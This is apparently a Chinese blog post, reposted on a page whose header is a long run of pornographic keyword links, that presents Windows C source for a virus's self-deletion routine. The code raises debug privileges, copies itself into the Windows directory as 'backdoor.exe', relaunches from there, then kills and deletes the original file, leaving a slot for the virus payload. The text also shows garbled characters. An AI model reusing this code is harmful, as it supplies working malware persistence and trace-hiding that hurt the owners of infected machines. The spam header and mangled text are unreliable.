黄色网页视频 I 影音先锋日日狠狠久久 I 秋霞午夜毛片 I 秋霞一二三区 I 国产成人片无码视频 I 国产 精品 自在自线 I av免费观看网站 I 日本精品久久久久中文字幕5 I 91看视频 I 看全色黄大色黄女片18 I 精品不卡一区 I 亚洲最新精品 I 欧美 激情 在线 I 人妻少妇精品久久 I 国产99视频精品免费专区 I 欧美影院 I 欧美精品在欧美一区二区少妇 I av大片网站 I 国产精品黄色片 I 888久久 I 狠狠干最新 I 看看黄色一级片 I 黄色精品久久 I 三级av在线 I 69色综合 I 国产日韩欧美91 I 亚洲精品偷拍 I 激情小说亚洲图片 I 久久国产视频精品 I 国产综合精品一区二区三区 I 色婷婷国产 I 最新成人av在线 I 国产私拍精品 I 日韩成人影音 I 日日夜夜天天综合

另類病毒的自刪除方法

系統(tǒng) 2014 0

//? 調(diào)整權(quán)限

VOID DebugPrivilege()

{

??? HANDLE hToken = NULL;

???

??? BOOL bRet =OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken);

???

??? if ( bRet == TRUE )

??? {

??????? TOKEN_PRIVILEGES tp;

??????? tp.PrivilegeCount = 1;

???????LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);

??????? tp.Privileges[0].Attributes= SE_PRIVILEGE_ENABLED;

???????AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);

???????

??????? CloseHandle(hToken);

??? }

}

?

//? 獲得某進(jìn)程的 PID

DWORD GetProcessId(char *szProcessName)

{

??? DWORD dwPid = 0;

??? BOOL bRet = 0;

??? PROCESSENTRY32 pe32 = { 0};

??? pe32.dwSize =sizeof(PROCESSENTRY32);

?

??? HANDLE hSnap =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

??? bRet = Process32First(hSnap,&pe32);

?

??? while ( bRet )

??? {

??????? if (strcmp(pe32.szExeFile, szProcessName) == 0 )

??????? {

??????????? break;

??????? }

??????? bRet =Process32Next(hSnap, &pe32);

??? }

?

??? dwPid =pe32.th32ProcessID;

??? return dwPid;

}

?

//? 結(jié)束某進(jìn)程

VOID CloseProcess(DWORD dwPid)

{

??? HANDLE hProcess =OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);

??? TerminateProcess(hProcess,0);

??? CloseHandle(hProcess);

}

?

這幾個函數(shù)完成后,我們就來根據(jù)病毒的流程來完成病毒的主體代碼,代碼如下:

int main(int argc, char **argv)

{

??? // Windows 目錄

??? char szWinDir[MAX_PATH] ={ 0 };

??? //? 當(dāng)前目錄

??? char szCurrDir[MAX_PATH] ={ 0 };

?

???GetWindowsDirectory(szWinDir, MAX_PATH);

??? GetModuleFileName(NULL,szCurrDir, MAX_PATH);

?

??? //? 獲取當(dāng)前的目錄

??? int ch = '\\';

??? char *pFileName =strrchr(szCurrDir, ch);

??? int nLen =strlen(szCurrDir) - strlen(pFileName);

??? szCurrDir[nLen] = NULL;

?

??? if ( strcmp(szWinDir,szCurrDir) == 0 )

??? {

??????? //? 相同目錄

??????? //? 判斷參數(shù)個數(shù)

??????? //? 根據(jù)參數(shù)個數(shù)判斷是否需要刪除原病毒文件

??????? //? 如果病毒是開機(jī)自動啟動的話,不會帶有參數(shù)

??????? printf("argc = %d\r\n", argc);

??????? if ( argc == 2 )

??????? {

??????????? ch = '\\';

??????????? pFileName =strrchr(argv[1], ch);

??????????? pFileName ++;

???????????printf("pFileName = %s \r\n", pFileName);

??????????? DWORD dwPid =GetProcessId(pFileName);

??????????? printf("dwPid= %d \r\n", dwPid);

??????????? DebugPrivilege();

???????????CloseProcess(dwPid);

??????????? pFileName =argv[1];

???????????printf("pFileName = %s \r\n", pFileName);

??????????? Sleep(3000);

???????????DeleteFile(pFileName);

??????? }

??????? else

??????? {

??????????? //? 病毒的功能代碼

??????? }

??? }

??? else

??? {

??????? //? 不同目錄,說明是第一次運(yùn)行

?

??????? //? 復(fù)制自身到 windows 目錄里下

??????? strcat(szWinDir,"\\backdoor.exe");

???????GetModuleFileName(NULL, szCurrDir, MAX_PATH);

??????? CopyFile(szCurrDir,szWinDir, FALSE);

?

??????? //? 構(gòu)造要運(yùn)行 windows 目錄下的病毒

??????? //? 以及要傳遞的自身位置

??????? strcat(szWinDir," \"");

??????? strcat(szWinDir,szCurrDir);

??????? strcat(szWinDir,"\"");

??????? printf("%s\r\n", szWinDir);

??????? WinExec(szWinDir, SW_SHOW);

??????? Sleep(1000);

??? }

?

??? // getch() 模擬病毒的動作

??? //? 保持病毒進(jìn)程不退出

??? getch();

??? return 0;

}

另類病毒的自刪除方法


更多文章、技術(shù)交流、商務(wù)合作、聯(lián)系博主

微信掃碼或搜索:z360901061

微信掃一掃加我為好友

QQ號聯(lián)系: 360901061

您的支持是博主寫作最大的動力,如果您喜歡我的文章,感覺我的文章對您有幫助,請用微信掃描下面二維碼支持博主2元、5元、10元、20元等您想捐的金額吧,狠狠點(diǎn)擊下面給點(diǎn)支持吧,站長非常感激您!手機(jī)微信長按不能支付解決辦法:請將微信支付二維碼保存到相冊,切換到微信,然后點(diǎn)擊微信右上角掃一掃功能,選擇支付二維碼完成支付。

【本文對您有幫助就好】

您的支持是博主寫作最大的動力,如果您喜歡我的文章,感覺我的文章對您有幫助,請用微信掃描上面二維碼支持博主2元、5元、10元、自定義金額等您想捐的金額吧,站長會非常 感謝您的哦!!!

發(fā)表我的評論
最新評論 總共0條評論